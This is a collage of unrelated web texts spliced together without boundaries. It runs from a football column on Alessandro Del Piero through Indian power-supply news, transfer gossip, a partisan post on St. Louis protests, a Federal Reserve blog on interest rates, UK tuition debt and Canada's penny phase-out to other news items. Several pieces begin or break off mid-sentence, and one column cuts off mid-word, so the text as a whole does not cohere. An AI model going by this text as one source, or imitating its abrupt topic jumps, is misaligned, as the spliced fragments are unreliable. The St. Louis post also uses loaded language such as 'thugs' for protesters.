Bravo said he understands everyone is not for gay rights, but he hopes everyone in the community will unite against violence.
"Because beating someone up [verbally] after they've already been beat up, you're kicking someone when they're down," Bravo said.
Updated at 10:03 p.m. to clarify Lawson's comments.As Franz Beckenbauer once pointed out as we lounged around the plunge pool at Daley Thompson's Swiss mountain spa retreat, there really is nothing worse than a name-dropper. With this in mind, and with a wave of insincere apology, I'd just like to mention that I saw Alessandro Del Piero play the other day. Yes. That Alessandro Del Piero. A player who for English football fans of a certain age still has an irresistibly narcotic appeal, the mention of his name opening up a kind of time tunnel – as the TV screen dissolves, wind chimes tinkle, the music of Haddaway plays seductively in the background – straight back to the glory days of the early 1990s when the world was still young and an Italian footballer with a soulful expression and a delicately nuanced right foot could still arrive fully formed as a genuine pre-YouTube revelation.
Del Piero currently plays for Sydney FC in the A-League, along with one or two other familiar faces. William Gallas is out here, looking oddly masterful and oddly frantic at exactly the same time. Newcastle Jets recently appointed a new manager who announced that he would be "basing our game a lot more around Emile Heskey", which is definitely one way to go. It's a good league with good crowds: plus of course it has Del Piero, although things have not been going that well of late for the A-League's own understated little superstar. There is talk of disaffection, of a certain gloominess in his half-speed trequartista stylings, so much so that Del Piero was recently the recipient of an open letter from a well-known Sydneyite, which ended with the question "'What have we done to you?' I have no answer."
This is a little sad, although watching him play there didn't seem to be that much wrong with Del Piero that being 10 years younger and much less hot wouldn't solve. It was definitely still him, that floating No10 with an air of being patiently, almost bashfully, quite a bit better than everyone else out there, but moving around the pitch now with all the urgency of a man trying to waddle across a bouncy castle without spilling his drink. Players are often accused of walking through games. Del Piero didn't even walk through this one very quickly, moving a little slower than the average person might walk to the newsagent, but still with that air of nonchalant old-world grace, so much so you half-expected to look down and notice he was playing in britches and a powdered wig. There was one unforgettably artful touch off his knee (afterwards we talked a lot about that touch: we'll always have that touch). And at the end there was the bizarre sight of Del Piero's extended family sat balefully in the posh seats while the home fans nearby shouted things like "youse are all a bunch of drongos!" at the retreating players.
Really, though, the reason for going on about Del Piero is the simple thrill of seeing a player who, 20 years ago, had such a profound effect on a profoundly impressionable generation of English football-watchers. This is not just about how good Del Piero was in his early pomp, that period where he seemed the perfect prodigy with the perfect haircut in the perfect position in the perfect league, announcing himself with that startling volleyed goal against Fiorentina, a 50-yard pass whiffled in to the top corner with the outside of his foot without even breaking stride.
It was the timing of Del Piero's emergence that made him doubly significant. He is perhaps the Italian player most clearly associated with the brilliant surprise of Channel 4's Football Italia coverage. It might seem hard to believe for those who have only really known the last 10 years of outright digital saturation, but in the early 1990s the appearance of Serie A on terrestrial TV was like a projection from some distant sporting galaxy, to be clustered around eagerly – that hazy screen with its ur |
. In Vidhan Sabha, he also read out a comparison claiming that electricity supply in BJP regime is better than that during the SP’s rule.
But the Excise Minister does not seem to be on the same page as that of Power minister as far as power supply in Sidharthnagar region is concerned. He specifically said in his letter that despite the CM’s announcement, the situation has not improved. Instead, it is deteriorating with every passing day, he said.
Singh is a five-time MLA from Bansi in Sidharthnagar, in eastern Uttar Pradesh and had staged several protests in the district on this issue during the previous regime’s rule.
The BJP regime has seen deterioration in power supply. The worst affected is eastern Uttar Pradesh where many villages and regions are forced to go without electricity for weeks together as the government does not have enough transformers to replace those which have been damaged in rains.
The government order says that the damaged transformers should be replaced within 48 hours. Government record on district-wise damage of transformers and their replacement shows that 3,73,781 transformers have been installed in eastern UP spread over 21 districts. As many as 4,334 transformers have been damaged between July 1 and July 20 of which 4,072 transformers were replaced.
“There is no paucity of electricity but what we lack is healthy transformer. We do not have enough transformers in our store. A campaign was launched in May to replace faulty transformers but this campaign has gone phut,” a senior official said.Valencia manager Nuno Espirito Santo has revealed the Spanish club are considering signing Manchester United's Shinji Kagawa before the end of the transfer window.
The La Liga side are embarking on a huge overhaul after Singapore millionaire Peter Lim bought the club earlier this summer.
Valencia have spent big during the transfer window to bolster the squad with a number of stars – including former Arsenal striker target Rodrigo and Manchester City midfielder Bruno Zuculini, who is on loan.
The Spanish club are still looking for a playmaker and Nuno confirms he is considering Kagawa, after having a £20m ($33.2m, €25.2m) bid for his first choice, Benfica star Enzo Perez, rejected.
"Kagawa is one option among many. He is a good player with a great technique," he said during a press conference, according to Valencia-based newspaper Super Deporte.
"While the market is open all possibilities are real. We have been talking for a while about Enzo Perez, but it is not easy."
Kagawa benched
After an inauspicious two seasons at the club, there have been suggestions that Louis Van Gaal is ready to made Kagawa one of the casualties of his expected clear out.
The 25 year-old offensive midfielder joined United in summer 2012, after the Premier League giants paid around £17m to secure his services. But he has failed to make the impact expected, being behind Juan Mata and even youngster Adnan Januzaj in David Moyes' pecking order last season.
Meanwhile, Van Gaal hinted at Kagawa's departure after the 1-1 draw against Sunderland, claiming he used Januzaj instead of the Japanese international as, "Kagawa did not wish to fulfil my wishes".
Furthermore, the Times reports that Valencia are also interesting in Manchester United's Javier Hernandez, with the Spanish club battling with Juventus for the Mexican international.Protesters Storm St. Louis Mall Chanting “No Justice, No Profits!” – Mall Shuts Down (VIDEO)
St. Louis, MO – Protests spilled over into Saturday after Jason Stockley, a former St. Louis police officer was acquitted of first-degree murder charges in the shooting of Anthony Lamar Smith.
Hundreds of St. Louis #BackLivesMatter protesters shut down Kings highway in the Central West End Friday night.
OUTRAGED PROTESTERS ATTACKED MAYOR LYDA KREWSON’S HOME IN THE CENTRAL WEST END!
Black Lives Matter thugs hurled bricks at police officers. Three police officers were transported to the hospital.
U2 already cancelled their concert scheduled for Saturday in St. Louis because police were unable to provide protection for the audience following the Black Lives Matter violence Friday. Now protesters want to shut down malls!
Protesters stormed West County Mall in St. Louis, forcing a temporary shut down. Macys staffers closed their doors out of fear as protesters tried to march into the store!
Fox News Correspondent Griff Jenkins reported, “Protesters take to a local mall chanting ‘No Justice, No Profits'”
Macys staff at West County Mall closed their doors!
Macys Staff At West County Mall (St Louis) Close Doors As Protesters Attempt To March pic.twitter.com/XGYF6Cuezu — Breaking911 (@Breaking911) September 16, 2017
West County Mall temporarily shutdown!
#StockleyProtest is over at the West County Mall. The mall is now shut down temporarily. No arrests. @KMOV pic.twitter.com/PkbpNZvXNq — Marielle Mohs (@MarielleMohs) September 16, 2017
Update: West County Mall has reopened. No arrests reported.
UPDATE: West County Mall now re-open. The shutdown was very temporary. @KMOV #StockleyProtest — Marielle Mohs (@MarielleMohs) September 16, 2017Windmills and solar panels are helping to clean the air in Europe – and causing greenhouse gas emissions to plummet.
Renewable energy in place of dirty coal plants have slashed CO2 emissions by 8.8% each year from 2010 through 2012– the most recent year for which United Nations numbers are available. Solar and wind power accounted for almost two-thirds of the reduced emissions. Other renewable sources, such as biodiesel, accounted for 36% of the cuts.
Five nations – Germany, Sweden, France, Italy, and Spain – account for two-thirds of the reduced emissions. The 28 EU member countries combined spewed a billion fewer tons of CO2 per year in 2012, than they did in 1990.
CHECK Out: This Lamp Light Burns All Night Powered Only by a Glass of Saltwater
The success is encouraging governments in the EU to set even higher standards for themselves.
When European countries joined 37 other industrialized nations in signing the first-ever climate agreement–the Kyoto Protocol in 1997–they promised to produce 20% of their energy through wind and solar power by 2020. The EU has already reached 15%, and its ministers, now confident that they will exceed the original goal, have raised the bar to a 40% total by 2030.
Wind energy accounted for a third of all new generating capacity in Europe last year and is expected to produce as much as 17% of the EU’s electricity by 2020. Solar power is expected to produce another 12% – eliminating the need for at least 5.6 million tons of oil per year.
RELATED: China Makes Jaw-Dropping Cuts to Emissions in 2015 Equal to UK’s Total Output
“This is a powerful demonstration that climate change agreements not only work, but can drive even higher ambition over time.” said a statement from the United Nations Framework Convention on Climate Change, which released the latest figures.
(READ more at Climate News Network) — Photo: Statkraft, CC
Plug Your Friends Into This Story, Share It…(Citizen Star News) - by Citizen Ed - 2015-04-16
Weekly interview with CIG Community Director, Ben Lesnick starts 5:25, after discussions about 1.1.1 and SCAA business:
Ben is taking some time off to attend Star Wars Celebration
Effect of "Logoffsky" in PU - Character stays as an NPC with instructions to get to safety. If that NPC dies, you may die, but they haven’t decided.
SET Standard Earth/Empire Time - There will be a clock in game. May be switchable between the competing Earth and Terra times.
Limited ships at events, ships will also be available at the website.
Name our ships; Be visible on the ship. Will come with the paint system.
Stores in Social Module; will not replace pledge store
Pledge store still planned to be removed after release. “Thinking that way.” Ben says. Sounds like there is room for change?
SQ42 - Ep 3 - 2017 release what does that mean about the PU? Not linked. No delays to the PU to wait for SQ42 Episodes.
Aurora Nerfing - Only constant is change. Balance is in progress.
Point Defense - C-Wiz. Uses a specialty hardpoint.
Pianos for Phoenix upgraders (if you didn’t get one, contact CS)
Social Module will be released - And character creator will be created in that (later releases).
Jenn Varner - Community Content Manager - May create social events in game.Bianca De Paoli and Pawel ZabczykOne way to assess the stance of monetary policy is to assert that there is a natural interest rate (NIR), defined as the rate consistent with output being at its potential. Broadly speaking, monetary policy can be seen as expansionary if the policy rate is below the NIR with the gap between the rates measuring the extent of the policy stimulus. Of course, there are many challenges in defining and measuring the NIR, with various factors driving its value over time. A key factor that needs to be considered is the effect of uncertainty and risk aversion on households’ savings decisions. Households’ tolerance for risk tends to be lower during downturns, putting upward pressure on precautionary savings, and thereby downward pressure on the natural interest rate. In addition, uncertainty dictates how much precautionary savings responds to changes in risk aversion. So policymakers need to be aware that rate moves to offset adverse economic conditions that are appropriate in tranquil times may not be sufficient in times of high uncertainty. As nicely explained in an FRBSF Economic Letter, the NIR is unobservable, but can be tracked with a model that identifies the interest rate that would prevail when output is at its potential—or, absent cost shocks, at a level consistent with stable inflation. In a recent article, we describe the determinants of the natural rate of interest in a fairly standard economic model of the so-called New Keynesian (NK) variety. Our simple setup clearly doesn’t account for all factors driving the natural rate. For example, the closed-economy nature of the model excludes the possibility that global factors such as reserve purchases by foreign central banks or a significant increase in the global supply of savings could be pushing down the equilibrium interest rate. But our model does account for uncertainty and precautionary savings motives. The importance of both of these factors has been apparent during the recent recession, and both are typically ignored in the textbook NK model. Considering the ability of changes in risk aversion and uncertainty to affect the transmission mechanism of shocks and monetary policy allows our setup to clarify how these considerations affect the natural interest rate.In the standard NK model, the long-run natural interest rate is pinned down by the potential growth rate of the economy and the rate at which agents discount the future. In the medium run, expectations of lower growth can push down the NIR temporarily. Tighter fiscal policy or changes in people’s discount preferences are additional reasons for the NIR to drop.But factors related to risk are also potentially important, and, in the recent recession may have significantly depressed the natural rate of interest. A recent IMF paper finds that two-fifths of the sharp increase in household saving rates between 2007 and 2009 can be attributed to the precautionary savings motive. An increase in precautionary savings is consistent with a lower natural interest rate.Theoretically, changes in precautionary savings can come about via sudden changes in macroeconomic uncertainty (or volatility) as well as sudden changes in agents’ tolerance for risk. Precautionary behavior can also be a cyclical phenomenon. Using a model built to match risk premium dynamics, we find that agents are more risk averse during downturns than they are in upturns. This will be the case particularly if shocks to economic conditions are persistent and consumers take a long time to get used to new conditions. So, even if a change in risk appetite is not the source of the economic downturn, the downturn itself may propagate as agents become more cautious in their consumption decisions. And this risk aversion propagation mechanism can be significant during unusually volatile or uncertain times and depress the natural interest rate for a long period of time.What then is the policy implication of this insight? We argue that accounting for a cyclical change in precautionary savings points to a more accommodative stance during downturns by lowering the NIR. As negative shocks to demand are magnified by an increase in precautionary behavior, a larger policy rate response is required to curb deflationary pressures. Even negative supply shocks—which are generally inflationary—may be less so if they motivate people to save more for precautionary reasons. Accordingly, the policy rate that is consistent with stable prices ends up being lower when one takes into account that risk aversion falls during downturns.By the same reasoning, this risk aversion propagation mechanism implies that the policy rate should be higher in boom periods when risk aversion is lower. To the extent that positive demand and supply shocks are relatively more inflationary if accompanied by a decrease in risk aversion, monetary policy needs to respond to these shocks more aggressively.Policymakers should also be aware that changes in the NIR driven by precautionary savings are more dramatic in volatile times. And the arguments made here for the NIR hold for other approaches to measuring monetary policy. Namely, volatility needs to be accounted for when designing monetary policy rules as policy responses that are appropriate in relatively tranquil times may not be sufficient in times of high uncertainty.The views expressed in this post are those of the authors and do not necessarily reflect the position of the Bank of England, the Federal Reserve Bank of New York, or the Federal Reserve System. Any errors or omissions are the responsibility of the authors. Bianca De Paoli is a senior economist in the Federal Reserve Bank of New York’s Research and Statistics Group.Pawel Zabczyk is an adviser at the Centre for Central Banking Studies at the Bank of England.Democrats on Monday asked the Congressional Budget Office to conduct a full analysis on coverage losses that would result from the latest Senate GOP effort to repeal and replace ObamaCare.
In a letter sent to the nonpartisan budget office, Senate Minority Leader Charles Schumer Charles (Chuck) Ellis SchumerBrennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview Harry Reid: 'I don't see anything' Trump is doing right MORE (D-N.Y.) and House Minority Leader Nancy Pelosi (D-Calif. ) said the public needs a “full understanding of the impact this legislation would have” on Americans.
New legislation from Sens. Lindsey Graham Lindsey Olin GrahamHouse to push back at Trump on border Trump pressures GOP senators ahead of emergency declaration vote: 'Be strong and smart' This week: Congress, Trump set for showdown on emergency declaration MORE (R-S.C.) and Bill Cassidy (R-La.) would repeal central parts of ObamaCare, including the individual mandate, subsidies to insurers and funding for Medicaid's expansion, and replace them with block grants for states.
Republicans are trying to figure out whether they have enough support to pass the bill before Sept. 30, the deadline for using a budgetary process known as reconciliation that prevents Democrats from filibustering the bill.
Under those rules, the GOP needs a score from the CBO to determine whether the legislation would reduce the budget deficit. But the rules don't require a full analysis.
The sponsors of the bill believe they are nearing the 51 votes necessary for passage, which would allow Republicans in the Senate at long last to meet their goal of repealing ObamaCare. In the House, Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) has expressed support for the bill.
Democrats have stepped up their public relations game against the bill in recent days, and the demands for a full CBO analysis are an effort to make it more difficult for Republican senators on the fence to back it.
Among other things, the Democrats are asking the CBO to analyze the impacts the bill would have on insurance coverage, premium costs and people with pre-existing conditions. The letter also asked the CBO to analyze how much Medicaid would be cut.
The Graham-Cassidy bill would allow states to apply for waivers to repeal ObamaCare regulations, including the prohibition against insurers charging sick people higher premiums.
“A comprehensive CBO analysis is essential before Republicans force a hasty, dangerous vote on what is an extreme and destructive repeal bill,” the Democratic leaders wrote.2019 NA Collegiate Championship
This is an opportunity for your College Club station to compete with any college and university in North America. You can take on your state or conference rivals. With planning and practice, it is possible to win a national championship. 2018 we had one contest, the NAQP Phone. New for 2019, we add the NAQP RTTY contest!
Why should your school compete? Almost any school can put together a station and team to compete. It is a level playing field contest. These contests already exist and you will have many stations to contact. You can challenge your school’s rival or anyone in your school conference and compete real time on a real time online scoreboard.
Live Scoreboard
is now a principal sponsor of the awards for NAQP. NCJ, National Contest Journal and SMC, Society of Midwest Contesters are sponsors.
When:
NAQP Phone January 19, 2019 1800Z to January 20, 0600Z
NAQP RTTY February 23, 2019 1800Z to February 24 0600Z
The format is generally the same as the NAQP rules. However, there will be some differences.
Here are the NAQP Rules
W9JWC, Bradley University plans on competing. This is Calvin, KE0DIT operating.
2019 Registered Teams:
Rensselaer Polytechnic Institute, W2SZ Georgia Tech Amateur Radio Club, W4AQL Bradley University, W9JWC Michigan State University, W8SH Milwaukee School of Engineering, W9HHX Purdue University, W9YB University of Michigan, W8UM California Polytechnic State University, W6BHZ Utah State University, N7GAS Vanderbilt University, AA4VU Texas A&M University Amateur Radio Club, W5AC University of Wisconsin, W9YT Indiana University, K9IU Louisiana State University, K5LSU Ohio State University, W8LT University of California,Berkley NU6XB Case Western Reserve University, W8EDU West Point Amateur Radio Club, W2KGY
Are you going to participate in 2019? Let us know EMAIL
College and University Club Stations Update or Add to this list
The above data has been collected and shared by Sean Barnes, N3JQ.
College competition rules:
We will use a Live Online Scoreboard for the college competition. You will be able to watch all or some of the other colleges as you choose. You are encouraged to contact other colleges to challenge them….maybe your own school conference or other state schools.
It is required that you use the Online Scoreboard for this contest. You must register your college and call. Then you will be sent instructions on how to setup. You will insert a link into your contest logging software such as N1MM Plus or Writelog and activate. Here are the instructions for setup in the logging software to report your scores…. INSTRUCTIONS
College stations will use their college club call and the station must be located on the college’s physical campus. Stations can be simple as there is a 100 watt contest limit. Antennas can be simple to elaborate. Many stations operate this contest with only dipoles and are very successful.
All operators must be enrolled students who are members of the college club. It is important to keep the playing field level…no operating from off campus contest stations and no operating by experienced contesters that are not students and members of the club.
Your exchange name can be anything associated with the school…mascot, nickname, founder, Bob, etc. but it must be the same name throughout the contest.
The College Contest Class will be multi operator single radio, M/1. You may use assistance similar to the M/2 class and will submit your official log for adjudication. You will submit your log in the M/2 class and your call will be matched to the Online Scoreboard listing. The colleges stations will be published in NCJ, National Contest Journal as their own class. Awards will be based on the adjudicated logs and not the online finish. You can operate the entire 12 hours in the contest.
Each club is encouraged to contact a contester in your area for help in preparing for this contest. There are many contest clubs that would be glad to help as well. The contest clubs are aware of this competition and may extend assistance to you
Awards will be given out for
National Champion
Runner-up
State Champions
We may also offer awards for Conference Champions if enough schools from a conference participate.
Awards will be sponsored by SMC NCJ and ICOM.
Questions regarding the NACC should be sent to craig @ k9ct.us Society of Midwest Contesters is the principal sponsor of this contest within a contest. The NAQP is sponsored by NCJ and ICOM. The manager of the SSB contest is Bill, AC0W and the manager of the RTTY contest is Mark, K6UFOTop Vegan / Vegetarian Restaurants in Gainesville
Back to the blog
When I made the decision to become vegan 2 years ago, I found it very easy to transition to this lifestyle of eating in Gainesville, Florida. I was amazed at the many vegan and vegetarian restaurants around and the endless choices when going to these restaurants. Whether you are interested in going vegan or just want to try something new for a change, Gainesville is sure to satisfy your eating habits when it comes to eating healthy and tasty plant based food. Not only will you be impressed with the food, but you will also be improving your health and helping the environment.
Here are some of my top 5 vegan/vegetarian friendly restaurants in Gainesville around UF:
Not exclusively an all vegan restaurant, but this Jamaican style cafe boasts as many vegan options on the menu as non-vegan ones. I always seem to try something new on the menu whenever I go here and many of my non vegan friends are impressed with the vegan choices here. I personally enjoy the curry tempeh which is served with red beans, rice and plantains or the famous, and their most popular dish, the jerk tofu, if you’re in for a spicy dish. Don’t forget their fresh nondairy smoothies and vegan coconut cake after your meal.
Even though this small hole in the wall is a couple miles from campus, you will sure find many delicious vegan options here at this 100% vegan restaurant. There many choices include food such as vegan shrimp as an appetizer, their vegan “phillycheesesteak sub” and their most popular item, vegan chick’n rice. They also make many vegan deserts and smoothies for you to enjoy and provide weekly meals to those who don’t have enough time to cook during the week and also deliver.
Thought you couldn’t still munch on delicious pizza after not ordering that pizza with delicious” Think again and come out to Satchels, who have many vegan pizza options. You can even create your own pizza with various toppings such as fresh vegetables and fruit, vegan cheese, local organic tempeh, tofu and many more. They offer large salads, calzones and subs as well and do have a gluten-free option on the pizza crust.
Walking into this place, your mouth will start to water staring at the delicious vegan bakery in sight. This bakery/caf� caters to vegans and has many options to choose from such as a plethora of vegan ice cream flavors, sundaes, sandwiches and many baked goods. My favorite item to get here is the vegan grilled cheese and I always have to get one of their vegan baked goods to go such as their scrumptious vegan chocolate chips cookies, vegan cinnamon rolls and even their famous vegan chocolate peanut butter cupcake when it’s available.
Open for breakfast, lunch and dinner, this little gem has many vegan and vegetarian options to choose from. For breakfast, try the vegan tempeh scramble which is very similar to the good old scrambled eggs or a huge toasted bagel smeared with vegan cashew cream cheese and stacked with fresh veggies with a side of fruit. For lunch and dinner, go for the tofu coconut curry bowl or the tempeh kale melt with a side of baked homefries.
Share this article:In collaboration with our friends from MYVAN by Mercedes-Benz, we present you California born Kyle Toth and his woodwork magic.
Hi Kyle, Tell us a little bit about yourself and your passion for woodwork.
I started working with wood when I was about 10 years old, just making stuff. I began making go-karts, skateboards and eventually plywood furniture. Around age 16, I bought myself better machines, filled up my parents’ garage and really got into it. Some of my stuff was never seen. For me, it was more about making something, trying to get better and perfecting things. I definitely developed a passion for woodwork. So much so, that I decided to make a career out of it and went to one of the oldest vocational schools in Massachusetts to learn the trade and completed a master craftsman training. Now, I run my own business out of my barn. I work on my customers’ orders until the afternoon and then spend some time on my own personal projects. The freedom to work on whatever I want whenever I want is my greatest motivation.
What did you think when you were approached with the project of outfitting a Sprinter?
When Shane Dignum, a photographer from National Geographic, approached me with the idea to convert his Sprinter I was super excited. I had never done anything like this before, but I knew that I had the necessary skills and experience to nail it (no pun intended). So I didn’t hesitate and took the challenge head on.
What were some of the challenges while outfitting the Sprinter?
I knew that Shane would be spending a lot of time on the road and that he needed a lot of storage space for all of his camera gear. One of the main goals was to find efficient and secure solutions to put all that equipment away. The greatest challenge in terms of craftsmanship consisted of finding the balance between functionality and saving space. So I tried to make use of every square inch and filled the interior with shelves and drawers. It was like playing Tetris.
The Sprinter van conversion took about 6 weeks to do. It’s made entirely out of walnut and houses kitchen cabinets and drawers, a queen size bed, a dining table and plenty of storage. Shane helped me out with a few things and eventually, the Sprinter was done and ready to roll. I am so proud of the finished product. I actually documented the conversion from start to finish. You can check it out on my YouTube page.
Any chance you’ll be fixing up your own van some day?
Like I said, freedom is what motivates me in life, so who knows. Maybe one day!
Check out Wood by Toth website here
For more inspiring Mercedes-Benz content, head to the MYVAN website or take a look at their Facebook page here.Image copyright Getty Images Image caption The last time tuition fees were increased there were waves of student protests
How much will it cost to get a degree in England when tuition fees increase to £9,250 in the autumn?
How about £54,000?
If that seems high for a three-year degree, that's how much a think tank has calculated a student could have to pay back with interest.
And that wouldn't be the full size of the debt. There could be another £40,000 still outstanding when fee loans are written off after 30 years.
When fees start increasing from this autumn, it will mean borrowing about £28,600 for three years, with the amount then rising with inflation each year.
But while students have battled for years over the headline figure of £9,000 and now £9,250, the Intergenerational Foundation says they're missing the much bigger picture of what it will really cost in repayments.
And it's going to publish its findings in a report called The Packhorse Generation.
Payback time
These extra costs start to rack up while a student is still at university, because interest is charged as soon as students start their courses, adding thousands to the debt before students have even graduated.
Image copyright Getty Images Image caption Students pay back fee loans from their earnings after graduation
Students start paying back their fee loans once they earn more than £21,000 per year - and the more they earn the more they pay each month, until the debt, plus interest, is cleared.
So this means total repayments can vary widely.
The think tank, which campaigns for fairness between generations, forecasts that:
A graduate earning £41,000 would pay back £54,000 on their tuition fee loan. And after 30 years, a further £38,900 would still be outstanding.
A higher paid graduate - earning £50,000 per year - would earn enough to clear all their tuition fee debts within 30 years and would have repaid about £57,000.
For someone earning £35,000, repayments would cost £37,800, with £55,000 to be written off after 30 years.
A more likely scenario is that a graduate would start on a lower salary and gradually progress upwards.
And the think tank gives an example of someone starting out on £22,000 and then rising over the years to £41,000, with the projection that they would pay back about £31,000 and leave a further £69,000 unpaid.
These are not necessarily bad deals for students if it helps them into a good career.
Selling off student loans
But Estelle Clarke, a former City lawyer on the advisory board of the Intergenerational Foundation, argues that we're failing to understand the "stranglehold" of debt that we're building up for young people.
She also warns we should be looking nervously at the vast scale of write-offs in the current system.
Image copyright iStock Image caption Would the sell-off of student loans mean tougher terms?
At present the taxpayer picks up the tab for unpaid loans after 30 years, allowing graduates to walk away from tens of thousands of pounds of debt and interest charges.
"Taxpayers end up paying for this system twice over. Firstly, they will shoulder the burden of an economy deprived of cash as millions of graduates' incomes are diverted to loan repayments," says Ms Clarke.
"And secondly, they shoulder the burden of the non-repayment of most loans due to the extortionate ratcheting up of interest in spite of regular payments made."
But the government has long considered selling off more of the student loan book to the private financial sector.
Would a private operator, looking hungrily at monthly repayments from millions of graduates, want more favourable terms and a bigger slice of that unpaid debt?
New York fee free
Ms Clarke warns that there is not nearly enough protection for students against future changes to repayment arrangements to "extract even more cash from graduates' pockets".
"No other lending has so little protection," she says.
Image copyright iStock Image caption New York plans to offer free tuition to middle-income families
By international standards, the only real comparison for such levels of student borrowing is the United States.
But as England is increasing the cost of tuition, the US has been trying to reverse out of a spiral of higher fees and higher debt.
This month the governor of New York announced a plan to scrap tuition fees at state universities and colleges for families earning up to $125,000 (£102,000) per year, which would help 80% of households.
It reflected deep-seated middle class anxieties about student debt - especially for families not rich enough to afford the fees and not poor enough to get financial support.
This really can be a lifetime of debt, with warnings this month of aggressive tactics from lenders trying to recover student loans from pensioners, with the over-60s in the US still owing £55bn of student debt.
Under the Obama administration there had been growing efforts to tackle student debt.
But with the election of President Trump the future of student loans, now measured in the trillions, has become much less predictable.
No financial barriers
The Department for Education argues that England's system is already extremely accessible, because there are no upfront costs for any students.
Instead the costs are backloaded to be paid after graduates are working.
And since graduates are likely to earn more, they can afford the cost of repayments, which in turn supports the next generation of students.
"The English system of student funding is sustainable, and has been recognised as such by the OECD," said a Department for Education spokeswoman.
"Critically, our system removes financial barriers for anyone hoping to study - with record numbers of young people from disadvantaged backgrounds going to university last year."
But this is something of a turning point - with fees and debts about to begin a long upward curve. And the Intergenerational Foundation's warnings cast a cold light on the scale of the escalating costs.
Will this be the next stage of a sophisticated, self-funding, open-access, affordable university system, or unwitting steps towards a financial sinkhole?Phasing out the Penny
In Economic Action Plan 2012, the Government announced it would phase out the penny from Canada's coinage system. The decision to phase out the penny was due to its excessive and rising cost of production relative to face value, the increased accumulation of pennies by Canadians in their households, environmental considerations, and the significant handling costs the penny imposes on retailers, financial institutions and the economy in general.
The estimated savings for taxpayers from phasing out the penny is $11 million a year.
The cent will remain Canada's smallest unit for pricing goods and services. This will have no impact on payments made by cheque or electronic transactions—only cash transactions will be affected. Moreover, pennies can still be used in cash transactions indefinitely with businesses that choose to accept them.
Important Dates
To help consumers, businesses, charities and financial institutions to plan, a transition date of February 4, 2013 has been set after which the Royal Canadian Mint will no longer distribute pennies.
On this date, businesses will be encouraged to begin rounding cash transactions.
Rounding Guidelines
As pennies exit circulation, cash payments or transactions only will need to be rounded, either up or down, to the nearest five-cent increment.
The Government of Canada will be adopting a rounding guideline that has been used successfully by other countries for its cash transactions with the public.
Under this guideline, when pennies are not available, cash transactions will be rounded in a fair and transparent manner, as illustrated below:
When to round
Again, only cash transactions require rounding. Cheques and transactions using electronic payments—debit, credit and payments cards—do not need to be rounded, because they can be settled electronically to the exact amount.
For any cash payment, only the final amount (or equivalently, the change owed) should be subject to rounding. Individual items, as well as any duties, fees or taxes, should be tabulated in their exact amount prior to rounding, as illustrated:
*A tax rate of 5 per cent has been provided for the purposes of illustration. Any taxes (e.g., the Goods and Services Tax/Harmonized Sales Tax), as well as any fees or duties, should be tabulated prior to rounding.Dick Cheney, George W. Bush's vice-president, is back in the news defending Central Intelligence Agency torture techniques – except that in his delusional world, waterboarding and the like are not torture techniques. Rather, he calls them "enhanced interrogations" and other euphemisms to cloud the truth.
But then, the Darth Vader of U.S. politics was always distorting the plain meaning of things, as in declaring that Iraq possessed "weapons of mass destruction" to justify the invasion of that country.
That invasion has had lasting effects, none of them positive for Iraq or the region. As Bush-era secretary of state Colin Powell warned: If you break it, you own it. Which is what Iraq has become, a broken state whose weakness and sectarian rivalries invited the Islamic State's formation and its occupation of swaths of territory in that country and neighbouring Syria.
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The Islamic State, a murderous Sunni/Salafist extremist group, has everyone in the region lined up against it, which is very much where it wants them.
The United States and its allies, including Canada, are bombing whatever targets they can find, which is somewhat uncomfortable but not seriously threatening to the Islamic State, because the strikes bring the West back into the region without any clear strategy. Years after the Bush-Cheney invasion and President Barack Obama's withdrawal of U.S. troops, America has returned to a broken Iraq, once again misunderstanding the conflict and the enemy.
Unlike al-Qaeda, the Islamic State did not target the West when it began its campaign to occupy territory. As Sunni extremists, they targeted moderate Sunni Muslims, Sunni regimes such as Saudi Arabia and Jordan, Shiites and non-Muslim minorities.
The struggle is essentially a nasty modern manifestation of a very old fight between Shiites and Sunnis, and between different schools of Sunni Islam. In this struggle, the West is hard-pressed to identify with one side, because by doing so it risks inflaming the other.
In theory, the Islamic State should have every interest and country in the region against it. Nearby Arab states Saudi Arabia, Egypt and Jordan should fear the spread of its militancy across their borders. Turkey could not feel comfortable with a Salafist state as neighbour. Iran (and its clients, Hezbollah) could not easily abide such an enemy of Shiism. And, of course, Iraq and Syria would cease to exist as independent countries if the Islamic State were to succeed in implanting itself as a caliphate across their territories.
Yet, for a variety of reasons, these countries are either not involved, lightly involved or doing other things, such as trying to survive, as in the case of Bashar al-Assad's regime in Syria. What should be a combined campaign against the Islamic State is not happening, in part because members of this erstwhile coalition despise each other (Saudi Arabia and Iran, Turkey and Syria) and in part because the West has once again ridden (sort of) to the rescue.
In part, the West entered the cauldron for humanitarian reasons – to stop or slow down the massacres perpetrated by the Islamic State. But it also arrived (albeit with insufficient force or long-term strategy) because of the televised images of beheaded Western hostages, which made it seem as if the extremists were targeting the West, when in fact, they had other, much more important targets nearer to hand.
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That the Islamic State cannot be dislodged by air power alone is a military truism, yet the West |
actor is unfamiliar territory for him. “This is a strange, but interesting experience for me…not only because it will probably be my last film, but because I’ve got an interesting subject matter.”
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As coup de grace, he pointed out, “I have a real journalist playing a fictional journalist in an investigative crime story with political overtones.”
The “Citizen Jake” of the title, he explained, refers to “the world of citizen journalists, social media and politics.”
He described his latest movie as “a hybrid film of sorts.”
It’s pretty obvious that De Leon, the director behind such hard-hitting films as “Batch ’81” and “Kisapmata,” will not be shy about tackling potentially explosive issues in his latest movie.
He doesn’t give a hoot if it proves “controversial,” too. Since it might be his swan song, he asserted, he is pulling out all the stops.
De Leon is currently working on the screenplay and is doing extra research.
“I think we may be getting it already,” he quipped.
He is likewise gathering his creative crew.
“I am fast-tracking things to set up my production team before Christmas,” he volunteered. “I hope to start principal photography by the middle or end of March—or the beginning of April, at the latest.”
As for the rest of the cast?
“Aside from Atom, I have not tried casting the other characters yet until the sequence treatment…or the first draft at least…is completed,” De Leon related. “Hopefully, by early December.”
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MOST READExecutives at taxi-hailing service Uber's South Korean office have been charged by local police for violating the nation's transportation law.
Seoul District Police booked Uber's South Korea brand manager, along with other employees and drivers. Authorities seized a total of 432 items to be used as evidence, including handsets that Uber Korea distributed to its drivers.
